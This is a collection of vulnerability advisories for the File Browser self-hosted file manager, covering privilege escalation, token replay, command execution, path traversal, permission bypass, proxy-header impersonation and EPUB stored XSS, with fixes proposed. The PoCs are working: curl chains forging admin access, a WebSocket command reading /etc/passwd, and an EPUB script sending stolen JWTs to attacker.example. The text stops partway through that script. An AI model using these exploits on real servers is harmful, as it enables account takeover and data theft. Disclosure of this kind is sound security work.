See how filebrowser compares to other vendors in security performance
Summary Any unauthenticated visitor can register a full administrator account when self-registration (signup = true) is enabled and the default user permissions have perm.admin = true. The signup handler blindly applies all default settings - including Perm.Admin - to the new user without any server-side guard that strips admin from self-registered accounts.
Details
Affected file: http/auth.go
Vulnerable code: go // signupHandler (http/auth.go) user := &users.User{ Username: info.Username, } d.settings.Defaults.Apply(user) // ← copies Perm.Admin = true if set in defaults // NO guard: user.Perm.Admin is never cleared here
settings.UserDefaults.Apply (settings/defaults.go): go func (d UserDefaults) Apply(u users.User) { u.Perm = d.Perm // copies full Permissions struct, including Admin field ... }
Settings API permits Admin in defaults (http/settings.go): go var settingsPutHandler = withAdmin(func( http.ResponseWriter, r http.Request, d data) (int, error) { ... d.settings.Defaults = req.Defaults // Admin can set Defaults.Perm.Admin = true ... })
The signupHandler is supposed to create unprivileged accounts for new visitors. It contains no explicit user.Perm.Admin = false reset after Defaults.Apply. If an administrator (intentionally or accidentally) configures defaults.perm.admin = true and also enables signup, every account created via the public registration endpoint is an administrator with full control over all files, users, and server settings.
Demo Server Setup
bash Pull latest release docker run -d --name fb-test \ -p 8080:80 \ -v /tmp/fb-data:/srv \ filebrowser/filebrowser:v2.31.2
Wait for startup, then set defaults.perm.admin = true ADMINTOKEN=$(curl -s -X POST http://localhost:8080/api/login \ -H 'Content-Type: application/json' \ -d '{"username":"admin","password":"admin"}')
Enable signup and set admin as default permission curl -s -X PUT http://localhost:8080/api/settings \ -H "X-Auth: $ADMINTOKEN" \ -H 'Content-Type: application/json' \ -d '{ "signup": true, "defaults": { "perm": { "admin": true, "execute": true, "create": true, "rename": true, "modify": true, "delete": true, "share": true, "download": true } } }'
PoC Exploit
bash #!/bin/bash pocsignupadmin.sh Demonstrates: unauthenticated signup → admin account
TARGET="http://localhost:8080"
echo "[] Registering attacker account via public signup endpoint..." STATUS=$(curl -s -o /dev/null -w "%{httpcode}" \ -X POST "$TARGET/api/signup" \ -H "Content-Type: application/json" \ -d '{"username":"attacker","password":"Attack3r!pass"}') echo "[] Signup response: HTTP $STATUS"
echo "[] Logging in as newly created account..." ATTACKERTOKEN=$(curl -s -X POST "$TARGET/api/login" \ -H "Content-Type: application/json" \ -d '{"username":"attacker","password":"Attack3r!pass"}')
echo "[] Fetching user list with attacker token (admin-only endpoint)..." curl -s "$TARGET/api/users" \ -H "X-Auth: $ATTACKERTOKEN" | python3 -m json.tool
echo "" echo "[] Verifying admin access by reading /api/settings..." curl -s "$TARGET/api/settings" \ -H "X-Auth: $ATTACKERTOKEN" | python3 -m json.tool
Expected output: The attacker's token successfully returns the full user list and server settings - endpoints restricted to Perm.Admin = true users.
Impact
Any unauthenticated visitor who can reach POST /api/signup obtains a full admin account. From there, they can: - List, read, modify, and delete every file on the server - Create, modify, and delete all other users - Change authentication method and server settings - Execute arbitrary commands if enableExec = true
Summary
File Browser’s authentication system issues long-lived JWT tokens that remain valid even after the user logs out. Please refer to the CWE's listed in this report for further reference and system standards. In summary, the main issue is:
- Tokens remain valid after logout (session replay attacks)
In this report, I used docker as the documentation instruct:
docker run \ -v filebrowserdata:/srv \ -v filebrowserdatabase:/database \ -v filebrowserconfig:/config \ -p 8080:80 \ filebrowser/filebrowser
Details
Issue: Tokens remain valid after logout (session replay attacks)
After logging in and receiving a JWT token, the user can explicitly "log out." However, this action does not invalidate the issued JWT. Any captured token can be replayed post-logout until it expires naturally. The backend does not track active sessions or invalidate existing tokens on logout. Login request:
POST /api/login HTTP/1.1 Host: machine.local:8090 Content-Length: 69
{"username":"admin","password":"password-here","recaptcha":""}
The check found in the code https://github.com/filebrowser/filebrowser/blob/master/http/auth.go is not enough. There is no server-side blacklist or token invalidation on logout. Token renewal and validity only depends on expiry and user store timestamps:
expired := !tk.VerifyExpiresAt(time.Now().Add(time.Hour), true) updated := tk.IssuedAt != nil && tk.IssuedAt.Unix() < d.store.Users.LastUpdate(tk.User.ID)
PoC
Issue: Tokens remain valid after logout (session replay attacks)
- Login and capture the generate JWT. Eg. the http request:
POST /api/login HTTP/1.1 Host: machine.local:8090 Content-Length: 69
{"username":"admin","password":"password-here","recaptcha":""}
- Logout in the dashboard. And then try to use the old generated JWT to access any authenticated endpoint eg:
GET /api/resources HTTP/1.1 Host: machine.local:8090 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10157) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 X-Auth: Old-JWT-token-here Content-Length: 173 Accept: / Referer: http://machine.local:8090/files/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Content-Length: 26
Connection: keep-alive
Impact
- A valid JWT remains active after user logout. - If stolen, tokens persist access indefinitely until expiry. - Violates OWASP Top 10 A2:2021 - Broken Authentication.
Recommendations
- Read all CWE's attached in this report - Invalidate JWTs on logout via session store / token blacklist. - Reduce JWT ExpiresAt where possible or use short-lived + refresh tokens.
Summary
The signupHandler in File Browser applies default user permissions via d.settings.Defaults.Apply(user), then strips only Admin (commit a63573b). The Execute permission and Commands list from the default user template are not stripped. When an administrator has enabled signup, server-side execution, and set Execute=true in the default user template, any unauthenticated user who self-registers inherits shell execution capabilities and can run arbitrary commands on the server.
Details
Root Cause
signupHandler at http/auth.go:167–172 applies all default permissions before stripping only Admin:
go // http/auth.go d.settings.Defaults.Apply(user) // copies ALL permissions from defaults
// Only Admin is stripped — Execute, Commands are still inherited user.Perm.Admin = false // user.Perm.Execute remains true if set in defaults // user.Commands remains populated if set in defaults
settings/defaults.go:31–33 confirms Apply copies the full permissions struct including Execute and Commands:
go func (d UserDefaults) Apply(u users.User) { u.Perm = d.Perm // includes Execute u.Commands = d.Commands // includes allowed shell commands // ... }
The commandsHandler at http/commands.go:63–66 checks both the server-wide EnableExec flag and d.user.Perm.Execute:
go if !d.server.EnableExec || !d.user.Perm.Execute { // writes "Command not allowed." and returns }
The withUser middleware reads d.user from the database at request time (http/auth.go:103), so the persisted Execute=true and Commands values from signup are authoritative. The command allowlist check at commands.go:80 passes because the user's Commands list contains the inherited default commands:
go if !slices.Contains(d.user.Commands, name) { // writes "Command not allowed." and returns }
Execution Flow
1. Admin configures: Signup=true, EnableExec=true, Defaults.Perm.Execute=true, Defaults.Commands=["bash"] 2. Unauthenticated attacker POSTs to /api/signup → new user created with Execute=true, Commands=["bash"] 3. Attacker logs in → receives JWT with valid user ID 4. Attacker opens WebSocket to /api/command/ → withUser fetches user from DB, Execute=true passes check 5. Attacker sends bash over WebSocket → exec.Command("bash") is invoked → arbitrary shell execution
This is a direct consequence of the incomplete fix in commit a63573b (CVE-2026-32760 / GHSA-5gg9-5g7w-hm73), which applied the same rationale ("signup users should not inherit privileged defaults") only to Admin, not to Execute and Commands.
PoC
bash TARGET="http://localhost:8080"
Step 1: Self-register (no authentication required) curl -s -X POST "$TARGET/api/signup" \ -H "Content-Type: application/json" \ -d '{"username":"attacker","password":"AttackerP@ss1!"}' Returns: 200 OK
Step 2: Log in and capture token TOKEN=$(curl -s -X POST "$TARGET/api/login" \ -H "Content-Type: application/json" \ -d '{"username":"attacker","password":"AttackerP@ss1!"}' | tr -d '"')
Step 3: Inspect inherited permissions (decode JWT payload) echo "$TOKEN" | cut -d'.' -f2 | base64 -d 2>/dev/null | python3 -m json.tool Expected output (if defaults have Execute=true, Commands=["bash"]): { "user": { "perm": { "execute": true, ... }, "commands": ["bash"], ... } }
Step 4: Execute shell command via WebSocket (requires wscat: npm install -g wscat) echo '{"command":"bash -c \"id && hostname && cat /etc/passwd | head -3\""}' | \ wscat --header "X-Auth: $TOKEN" \ --connect "$TARGET/api/command/" \ --wait 3 Expected: uid=... hostname output followed by /etc/passwd lines
Impact
On any deployment where an administrator has: 1. Enabled public self-registration (signup = true) 2. Enabled server-side command execution (enableExec = true) 3. Set Execute = true in the default user template 4. Populated Commands with one or more shell commands
An unauthenticated attacker can self-register and immediately gain the ability to run arbitrary shell commands on the server with the privileges of the File Browser process. All files accessible to the process, environment variables (including secrets), and network interfaces are exposed. This is a complete server compromise for processes running as root, and a significant lateral movement vector otherwise.
The original Admin fix (GHSA-5gg9-5g7w-hm73) demonstrates that the project explicitly recognizes that self-registered users should not inherit privileged defaults. The Execute + Commands omission is an incomplete application of that principle.
Recommended Fix
Extend the existing Admin stripping in http/auth.go to also clear Execute and Commands for self-registered users:
go // http/auth.go — after d.settings.Defaults.Apply(user)
// Users signed up via the signup handler should never become admins, even // if that is the default permission. user.Perm.Admin = false
// Self-registered users should not inherit execution capabilities from // default settings, regardless of what the administrator has configured // as the default. Execution rights must be explicitly granted by an admin. user.Perm.Execute = false user.Commands = []string{}
FileBrowser Quantum is a free, self-hosted, web-based file manager. Versions prior to 1.3.2-stable, 1.4.0-beta and 1.4.1-beta are vulnerable to Path Traversal through the publicPatchHandler in backend/http/public.go which joins user-controlled fromPath and toPath body fields with the trusted d.share.Path BEFORE the downstream sanitizer runs. Because filepath.Join collapses .. segments during the join, the sanitizer in resourcePatchHandler never sees the traversal and the move/copy/rename operates on a path outside the shared directory. The same root-cause pattern was patched for the bulk DELETE endpoint as CVE-2026-44542 (GHSA-fwj3-42wh-8673), but the PATCH handler with the identical pattern was not updated. A public share link with AllowModify=true is sufficient to exploit this. Anyone holding such a link can move, copy, or rename arbitrary files within the share owner's source root. This issue has been fixed in versions 1.3.3-stable and 1.4.2-beta.
Summary
A broken access control vulnerability in the TUS protocol DELETE endpoint allows authenticated users with only Create permission to delete arbitrary files and directories within their scope, bypassing the intended Delete permission restriction. Any multi-user deployment where administrators explicitly restrict file deletion for certain users is affected.
Details
The tusDeleteHandler function in http/tushandlers.go incorrectly gates the DELETE operation behind Perm.Create instead of Perm.Delete:
go // http/tushandlers.go - tusDeleteHandler (VULNERABLE) func tusDeleteHandler(cache UploadCache) handleFunc { return withUser(func( http.ResponseWriter, r http.Request, d data) (int, error) { if r.URL.Path == "/" || !d.user.Perm.Create { // ← Wrong permission checked return http.StatusForbidden, nil } // ... err = d.user.Fs.RemoveAll(r.URL.Path) // File is deleted
The correct resourceDeleteHandler in http/resource.go properly checks Perm.Delete:
go // http/resource.go - resourceDeleteHandler (CORRECT) func resourceDeleteHandler(fileCache FileCache) handleFunc { return withUser(func( http.ResponseWriter, r http.Request, d data) (int, error) { if r.URL.Path == "/" || !d.user.Perm.Delete { // ← Correct permission return http.StatusForbidden, nil }
This inconsistency means that DELETE /api/tus/{path} and DELETE /api/resources/{path} enforce entirely different permission models for the same underlying filesystem operation. The TUS endpoint was introduced to support resumable uploads (http/tushandlers.go) and its DELETE handler is intended to cancel in-progress uploads -however, the RemoveAll call permanently removes the file from the filesystem regardless of how the upload was initiated.
Proposed fix:
go // http/tushandlers.go - if r.URL.Path == "/" || !d.user.Perm.Create { + if r.URL.Path == "/" || !d.user.Perm.Delete {
PoC
- filebrowser built from latest master (git clone https://github.com/filebrowser/filebrowser) - Tested on: Kali Linux, go version go1.23+
Setup section
bash Build and initialize git clone https://github.com/filebrowser/filebrowser cd filebrowser go build -o filebrowser . ./filebrowser config init
Create a test user with Create=true but Delete=false ./filebrowser users add testuser SuperSecurePassword1234 \ --perm.create=true \ --perm.delete=false
Start server ./filebrowser &
POC script steps
1. Confirm the Delete permission is correctly enforced on the standard endpoint:
bash TOKEN=$(curl -s -X POST localhost:8080/api/login \ -H "Content-Type: application/json" \ -d '{"username":"testuser","password":"SuperSecurePassword1234"}')
Attempt deletion via the standard resource endpoint → should be blocked curl -s -X DELETE "localhost:8080/api/resources/target.txt" \ -H "X-Auth: $TOKEN" \ -w "HTTP Status: %{httpcode}\n"
Expected: HTTP Status: 403
2. Bypass via the TUS Delete endpoint:
bash Initiate a TUS upload to register the file in the upload cache curl -s -X POST "localhost:8080/api/tus/target.txt" \ -H "X-Auth: $TOKEN" \ -H "Upload-Length: 18" \ -w "HTTP Status: %{httpcode}\n"
Expected: HTTP Status: 201
Now delete via the TUS endpoint - Perm.Delete is NOT checked curl -s -X DELETE "localhost:8080/api/tus/target.txt" \ -H "X-Auth: $TOKEN" \ -w "HTTP Status: %{httpcode}\n"
Expected: HTTP Status: 204 ← File deleted despite Perm.Delete=false
Observed results: DELETE /api/resources/target.txt --> 403 Forbidden ( permission enforced ) DELETE /api/tus/target.txt --> 204 No Content ( permission bypassed )
Impact This is a broken access control vulnerability (IDOR / permission model bypass). It affects any filebrowser deployment where:
- Multiple users share a single instance, and - An administrator has explicitly set Perm.Delete=false for one or more users to restrict destructive operations
An attacker (authenticated user with Perm.Create=true) can permanently delete any file or directory within their assigned scope-including files they did not create - by initiating a TUS upload against the target path and immediately issuing a TUS DELETE request. This completely undermines the intended access control model, as administrators have no reliable way to prevent file deletion for users who retain upload rights.
Summary
When FileBrowser is configured with proxy authentication (auth.method=proxy), any unauthenticated attacker who can reach the server directly can impersonate any user - including admin - by sending a single forged HTTP header. No credentials are required. Additionally, specifying a non-existent username causes the server to automatically create a new user account, providing an account creation primitive with no authorization.
This is an already known issue that has been documented in the documentation for several years, but has not been documented as a vulnerability before.
Severity
HIGH - CVSS 3.1: 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
Affected Component
- File: auth/proxy.go, lines 21-28 - CWE: CWE-287 (Improper Authentication), CWE-290 (Authentication Bypass by Spoofing) - Affected versions: All versions supporting auth.method=proxy
Prerequisite: Proxy Auth Must Be Enabled
This vulnerability is NOT exploitable on default configuration (auth.method=json). It requires the administrator to have configured proxy authentication mode. However, this is a common production deployment pattern - many organizations run FileBrowser behind a reverse proxy that handles SSO/LDAP/OAuth authentication:
- nginx + Authelia / Authentik - Traefik + OAuth2 Proxy - Caddy + forwardauth - Apache + modauthldap
In these setups, the proxy authenticates the user and passes the username via HTTP header (e.g., X-Remote-User). FileBrowser trusts this header to identify the user.
| Deployment Scenario | Exploitable? | |---|---| | Default install (auth.method=json) | No — JSON auth uses password verification | | auth.method=proxy + FileBrowser only reachable via proxy (bound to 127.0.0.1 or firewalled) | No - attacker cannot reach the server directly | | auth.method=proxy + FileBrowser port exposed to network | Yes - full admin takeover |
The third scenario is common because: - Docker containers publish ports to 0.0.0.0 by default (e.g., -p 8085:80) - Administrators expose the port for debugging, monitoring, or health checks - Cloud deployments may have misconfigured security groups or load balancers - Internal networks often lack strict micro-segmentation
The core issue is that the code itself has zero defensive checks — no trusted IP validation, no shared secret, no origin verification. The entire security model relies on network-level isolation, which is fragile and not documented as a hard requirement.
Root Cause
The ProxyAuth.Auth() function unconditionally trusts the value of an HTTP request header (configured via auth.header, e.g. X-Remote-User) to determine the authenticated user's identity. There are three distinct problems in this code:
Problem 1: No Origin Validation
The function reads the header from any HTTP request regardless of source IP. It does not verify that the request originated from a trusted reverse proxy. Any client on the network can set arbitrary HTTP headers.
File: auth/proxy.go, lines 21-28:
go func (a ProxyAuth) Auth(r http.Request, usr users.Store, setting settings.Settings, srv settings.Server) (users.User, error) { username := r.Header.Get(a.Header) // <-- reads attacker-controlled header, no origin check user, err := usr.Get(srv.Root, username) if errors.Is(err, fberrors.ErrNotExist) { return a.createUser(usr, setting, srv, username) } return user, err // <-- returns the user object, no password verification }
There is no call to verify r.RemoteAddr against a list of trusted proxy IPs, no shared secret validation, and no signature check on the header value.
Problem 2: No Password Verification
Unlike JSON auth (auth/json.go) which validates the password via bcrypt, the proxy auth path returns the user object directly from the database based solely on the header value. The loginHandler in http/auth.go then mints a valid JWT for this user:
File: http/auth.go, lines 121-137:
go func loginHandler(tokenExpireTime time.Duration) handleFunc { return func(w http.ResponseWriter, r http.Request, d data) (int, error) { auther, err := d.store.Auth.Get(d.settings.AuthMethod) // ... user, err := auther.Auth(r, d.store.Users, d.settings, d.server) // No additional verification — if auther.Auth() returns a user, a JWT is minted return printToken(w, r, d, user, tokenExpireTime) // <-- signs and returns JWT } }
Problem 3: Automatic User Creation
If the username in the header doesn't exist in the database, createUser() is called unconditionally. This creates a real user account with default permissions, a random locked password, and a home directory:
File: auth/proxy.go, lines 30-63:
go func (a ProxyAuth) createUser(usr users.Store, setting settings.Settings, srv settings.Server, username string) (users.User, error) { pwd, err := users.RandomPwd(randomPasswordLength) // ... user := &users.User{ Username: username, // <-- attacker-controlled Password: hashedRandomPassword, LockPassword: true, } setting.Defaults.Apply(user) // <-- inherits default permissions (may include execute, create, etc.) // ... err = usr.Save(user) // <-- persisted to database return user, nil }
This auto-creation has no opt-in flag — it is always active when proxy auth is enabled.
Complete Attack Flow
Attacker sends: POST /api/login + Header: X-Remote-User: admin | loginHandler() | |-> d.store.Auth.Get("proxy") | |-> auther.Auth(r, ...) | |-> ProxyAuth.Auth() | |-> r.Header.Get("X-Remote-User") -> "admin" (attacker-controlled) |-> usr.Get(root, "admin") -> admin user (found in DB) |-> return user, nil -> no password check |-> printToken(w, r, d, user, ...) | |-> jwt.NewWithClaims(HS256, claims{user: admin, perm: {admin: true}}) |-> token.SignedString(key) -> valid admin JWT returned to attacker
Proof of Concept
Here is Log testing using Low Privileges Account attacker, get forbidden Login as low priv user then get the auth token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjozLCJsb2NhbGUiOiIiLCJ2aWV3TW9kZSI6Imxpc3QiLCJzaW5nbGVDbGljayI6ZmFsc2UsInJlZGlyZWN0QWZ0ZXJDb3B5TW92ZSI6ZmFsc2UsInBlcm0iOnsiYWRtaW4iOmZhbHNlLCJleGVjdXRlIjp0cnVlLCJjcmVhdGUiOmZhbHNlLCJyZW5hbWUiOmZhbHNlLCJtb2RpZnkiOmZhbHNlLCJkZWxldGUiOmZhbHNlLCJzaGFyZSI6ZmFsc2UsImRvd25sb2FkIjp0cnVlfSwiY29tbWFuZHMiOlsibHMiXSwibG9ja1Bhc3N3b3JkIjpmYWxzZSwiaGlkZURvdGZpbGVzIjpmYWxzZSwiZGF0ZUZvcm1hdCI6ZmFsc2UsInVzZXJuYW1lIjoiYXR0YWNrZXIiLCJhY2VFZGl0b3JUaGVtZSI6IiJ9LCJpc3MiOiJGaWxlIEJyb3dzZXIiLCJleHAiOjE3NzMwMjc2ODksImlhdCI6MTc3MzAyMDQ4OX0.NN0SqBr8lFj7QUACY2770gaGXZhBZ2qJZHDJJ7vQbNM"
root@LAPTOP-VUMRCEKO:~# curl -s http://localhost:8085/api/settings \ -H "X-Auth: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjozLCJsb2NhbGUiOiIiLCJ2aWV3TW9kZSI6Imxpc3QiLCJzaW5nbGVDbGljayI6ZmFsc2UsInJlZGlyZWN0QWZ0ZXJDb3B5TW92ZSI6ZmFsc2UsInBlcm0iOnsiYWRtaW4iOmZhbHNlLCJleGVjdXRlIjp0cnVlLCJjcmVhdGUiOmZhbHNlLCJyZW5hbWUiOmZhbHNlLCJtb2RpZnkiOmZhbHNlLCJkZWxldGUiOmZhbHNlLCJzaGFyZSI6ZmFsc2UsImRvd25sb2FkIjp0cnVlfSwiY29tbWFuZHMiOlsibHMiXSwibG9ja1Bhc3N3b3JkIjpmYWxzZSwiaGlkZURvdGZpbGVzIjpmYWxzZSwiZGF0ZUZvcm1hdCI6ZmFsc2UsInVzZXJuYW1lIjoiYXR0YWNrZXIiLCJhY2VFZGl0b3JUaGVtZSI6IiJ9LCJpc3MiOiJGaWxlIEJyb3dzZXIiLCJleHAiOjE3NzMwMjc2ODksImlhdCI6MTc3MzAyMDQ4OX0.NN0SqBr8lFj7QUACY2770gaGXZhBZ2qJZHDJJ7vQbNM" 403 Forbidden root@LAPTOP-VUMRCEKO:~# root@LAPTOP-VUMRCEKO:~# root@LAPTOP-VUMRCEKO:~# FORGEDTOKEN=$(curl -s -X POST http://localhost:8085/api/login \ -H "X-Remote-User: admin") root@LAPTOP-VUMRCEKO:~# root@LAPTOP-VUMRCEKO:~# curl -s http://localhost:8085/api/settings \ -H "X-Auth: $FORGEDTOKEN" | python3 -m json.tool { "signup": false, "hideLoginButton": true, "createUserDir": false, "minimumPasswordLength": 12, "userHomeBasePath": "/users", "defaults": { "scope": ".", "locale": "en", "viewMode": "mosaic", "singleClick": false, "redirectAfterCopyMove": true, "sorting": { "by": "", "asc": false }, "perm": { "admin": false, "execute": true, "create": true, "rename": true, "modify": true, "delete": true, "share": true, "download": true }, "commands": [], "hideDotfiles": false, "dateFormat": false, "aceEditorTheme": "" }, "authMethod": "proxy", "rules": [], "branding": { "name": "", "disableExternal": false, "disableUsedPercentage": false, "files": "", "theme": "", "color": "" }, "tus": { "chunkSize": 10485760, "retryCount": 5 }, "shell": [ "/bin/sh", "-c" ], "commands": { "aftercopy": [], "afterdelete": [], "afterrename": [], "aftersave": [], "afterupload": [], "beforecopy": [], "beforedelete": [], "beforerename": [], "beforesave": [], "beforeupload": [] } } root@LAPTOP-VUMRCEKO:~# <img width="1487" height="757" alt="image" src="https://github.com/user-attachments/assets/a777321e-14a4-4720-9f8e-423d5f7cdf74" />
Prerequisites
- FileBrowser with proxy auth enabled: bash filebrowser config set --auth.method=proxy --auth.header=X-Remote-User - Server is reachable directly (not exclusively behind the reverse proxy)
Step 1: Confirm attacker (non-admin) is blocked
bash Using a legitimate non-admin JWT token: curl -s http://localhost:8085/api/settings \ -H "X-Auth: <ATTACKERJWTTOKEN>"
Result: 403 Forbidden — non-admin users cannot access /api/settings
Step 2: Forge admin identity — no credentials needed
bash Just one header, no password: FORGEDTOKEN=$(curl -s -X POST http://localhost:8085/api/login \ -H "X-Remote-User: admin")
echo "$FORGEDTOKEN" eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjoxLC... (608 bytes)
Result: Valid JWT token returned for admin user (ID: 1, perm.admin: true)
Step 3: Access admin-only endpoints with forged token
bash Read full server configuration (admin-only): curl -s http://localhost:8085/api/settings \ -H "X-Auth: $FORGEDTOKEN"
Result: 200 OK - complete server settings returned:
json { "authMethod": "proxy", "shell": ["/bin/sh", "-c"], "signup": false, "defaults": { "perm": { "admin": false, "execute": true, ... } }, ... }
Step 4: Enumerate all user accounts
bash curl -s http://localhost:8085/api/users \ -H "X-Auth: $FORGEDTOKEN"
Result: All user accounts with full details (usernames, permissions, scopes, commands)
Step 5: Impersonate any other user
bash Impersonate "testuser" — access their files without knowing their password: VICTIMTOKEN=$(curl -s -X POST http://localhost:8085/api/login \ -H "X-Remote-User: testuser")
curl -s http://localhost:8085/api/resources/ \ -H "X-Auth: $VICTIMTOKEN"
Result: Full file listing of testuser's scope
Step 6: Auto-create a new user account
bash This username doesn't exist — server creates it automatically: NEWTOKEN=$(curl -s -X POST http://localhost:8085/api/login \ -H "X-Remote-User: backdooraccount")
Result: New user backdooraccount created in the database with default permissions, JWT returned
Validated Results
Tested against filebrowser/filebrowser:latest Docker image on 2026-03-09:
| Test | Result | |------|--------| | Attacker token (non-admin) -> GET /api/settings | 403 Forbidden (blocked) | | Forged header X-Remote-User: admin -> POST /api/login | 200 OK — valid admin JWT (608 bytes) | | Forged admin token -> GET /api/settings | 200 OK — full server config returned | | Forged admin token -> GET /api/users | 200 OK — all user accounts listed | | Forged header X-Remote-User: testuser | 200 OK — testuser JWT, files accessible | | Forged header X-Remote-User: nonexistentuser | 200 OK — new user auto-created, JWT returned |
Impact
An unauthenticated attacker who can reach the FileBrowser instance directly can:
1. Full admin takeover — impersonate the admin user and gain complete control 2. Read all server settings — shell configuration, permissions, branding, rules 3. Enumerate and impersonate all users — access every user's files without credentials 4. Create unlimited backdoor accounts — auto-creation generates persistent accounts 5. Modify server configuration — enable command execution, change shell, alter rules 6. Chain with other vulnerabilities — gain admin access -> enable shell mode -> achieve RCE
Attack cost: Zero credentials. One HTTP header.
Suggested Remediation
Fix 1: Add trusted proxy IP validation (recommended)
go type ProxyAuth struct { Header string json:"header" TrustedProxies []string json:"trustedProxies" // New: list of trusted proxy IPs/CIDRs }
func (a ProxyAuth) Auth(r http.Request, usr users.Store, setting settings.Settings, srv settings.Server) (users.User, error) { // Verify request originates from a trusted reverse proxy clientIP := realip.FromRequest(r) if !a.isTrustedProxy(clientIP) { return nil, fmt.Errorf("proxy auth: request from untrusted source %s", clientIP) }
username := r.Header.Get(a.Header) if username == "" { return nil, os.ErrPermission }
user, err := usr.Get(srv.Root, username) if errors.Is(err, fberrors.ErrNotExist) { if a.AutoCreateUsers { // Make opt-in return a.createUser(usr, setting, srv, username) } return nil, os.ErrPermission } return user, err }
Fix 2: Make auto-user-creation opt-in
Add a configuration flag auth.proxy.createUsers (default: false) so administrators must explicitly enable automatic account creation.
Fix 3: Documentation warning
Clearly document that when using proxy auth: - FileBrowser MUST NOT be directly accessible from untrusted networks - Bind to 127.0.0.1 or use firewall rules to ensure only the reverse proxy can reach it - The reverse proxy MUST strip/overwrite the configured header from client requests
References
- Source file: https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go - Login handler: https://github.com/filebrowser/filebrowser/blob/main/http/auth.go#L121-L137 - CWE-287: https://cwe.mitre.org/data/definitions/287.html - CWE-290: https://cwe.mitre.org/data/definitions/290.html - OWASP Authentication Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/AuthenticationCheatSheet.html
Summary
The EPUB preview function in File Browser is vulnerable to Stored Cross-site Scripting (XSS). JavaScript embedded in a crafted EPUB file executes in the victim's browser when they preview the file.
Details
frontend/src/views/files/Preview.vue passes allowScriptedContent: true to the vue-reader (epub.js) component: js // frontend/src/views/files/Preview.vue (Line 87) :epubOptions="{ allowPopups: true, allowScriptedContent: true, }" epub.js renders EPUB content inside a sandboxed <iframe> with srcdoc. However, the sandbox includes both allow-scripts and allow-same-origin, which renders the sandbox ineffective — the script can access the parent frame's DOM and storage.
The epub.js developers explicitly warn against enabling scripted content.
PoC I've crafted the PoC python script that could be ran on test environment using docker compose:
yaml services:
filebrowser: image: filebrowser/filebrowser:v2.62.1 user: 0:0 ports: - "80:80"
And running this PoC python script: python import argparse import io import sys import zipfile import requests
BANNER = """ Stored XSS via EPUB PoC Affected: filebrowser/filebrowser <=v2.62.1 Root cause: Preview.vue -> epubOptions: { allowScriptedContent: true } Related: CVE-2024-35236 (same pattern in audiobookshelf) """
CONTAINERXML = """<?xml version="1.0" encoding="UTF-8"?> <container version="1.0" xmlns="urn:oasis:names:tc:opendocument:xmlns:container"> <rootfiles> <rootfile full-path="OEBPS/content.opf" media-type="application/oebps-package+xml"/> </rootfiles> </container>"""
CONTENTOPF = """<?xml version="1.0" encoding="UTF-8"?> <package xmlns="http://www.idpf.org/2007/opf" unique-identifier="uid" version="3.0"> <metadata xmlns:dc="http://purl.org/dc/elements/1.1/"> <dc:identifier id="uid">poc-xss-epub-001</dc:identifier> <dc:title>Security Test Document</dc:title> <dc:language>en</dc:language> <meta property="dcterms:modified">2025-01-01T00:00:00Z</meta> </metadata> <manifest> <item id="chapter1" href="chapter1.xhtml" media-type="application/xhtml+xml"/> <item id="nav" href="nav.xhtml" media-type="application/xhtml+xml" properties="nav"/> </manifest> <spine> <itemref idref="chapter1"/> </spine> </package>"""
NAVXHTML = """<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:epub="http://www.idpf.org/2007/ops"> <head><title>Navigation</title></head> <body> <nav epub:type="toc"> <ol><li><a href="chapter1.xhtml">Chapter 1</a></li></ol> </nav> </body> </html>"""
XSSCHAPTER = """<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head><title>Chapter 1</title></head> <body> <h1>Security Test Document</h1> <p>This document tests EPUB script execution in File Browser.</p> <p id="xss-proof" style="color: red; font-weight: bold;">Waiting...</p> <p id="ip-proof" style="color: orange; font-weight: bold;">Fetching IP...</p> <script> var out = document.getElementById("xss-proof"); var ipOut = document.getElementById("ip-proof"); var jwt = "not-found"; try { jwt = window.parent.localStorage.getItem("jwt"); } catch(e) { jwt = "error: " + e.message; } out.innerHTML = "XSS OK" + String.fromCharCode(60) + "br/" + String.fromCharCode(62) + "JWT: " + jwt; fetch("https://ifconfig.me/ip").then(function(r){ return r.text(); }).then(function(ip){ ipOut.textContent = "Victim public IP: " + ip.trim(); }).catch(function(e){ ipOut.textContent = "IP fetch failed: " + e.message; }); var img = new Image(); img.src = "https://attacker.example/?stolen=" + encodeURIComponent(jwt); </script> </body> </html>"""
def login(base: str, username: str, password: str) -> str: r = requests.post(f"{base}/api/login", json={"username": username, "password": password}, timeout=10) if r.statuscode != 200: print(f"[-] Login failed: {r.statuscode}") sys.exit(1) return r.text.strip('"')
def buildepub() -> bytes: """Build a minimal EPUB 3 file with embedded JavaScript.""" buf = io.BytesIO() with zipfile.ZipFile(buf, 'w', zipfile.ZIPDEFLATED) as zf: zf.writestr("mimetype", "application/epub+zip", compresstype=zipfile.ZIPSTORED) zf.writestr("META-INF/container.xml", CONTAINERXML) zf.writestr("OEBPS/content.opf", CONTENTOPF) zf.writestr("OEBPS/nav.xhtml", NAVXHTML) zf.writestr("OEBPS/chapter1.xhtml", XSSCHAPTER) return buf.getvalue()
def main(): print(BANNER) ap = argparse.ArgumentParser( formatterclass=argparse.RawDescriptionHelpFormatter, description="Stored XSS via malicious EPUB PoC", epilog="""examples: %(prog)s -t http://localhost:8080 -u admin -p admin %(prog)s -t http://target.com/filebrowser -u user -p pass
root cause: frontend/src/views/files/Preview.vue passes epubOptions: { allowScriptedContent: true } to the vue-reader (epub.js) component. The iframe sandbox includes allow-scripts and allow-same-origin, which lets the script access the parent frame's localStorage and make arbitrary network requests.
impact: Session hijacking, privilege escalation, data exfiltration. A low-privilege user with upload access can steal admin tokens.""", )
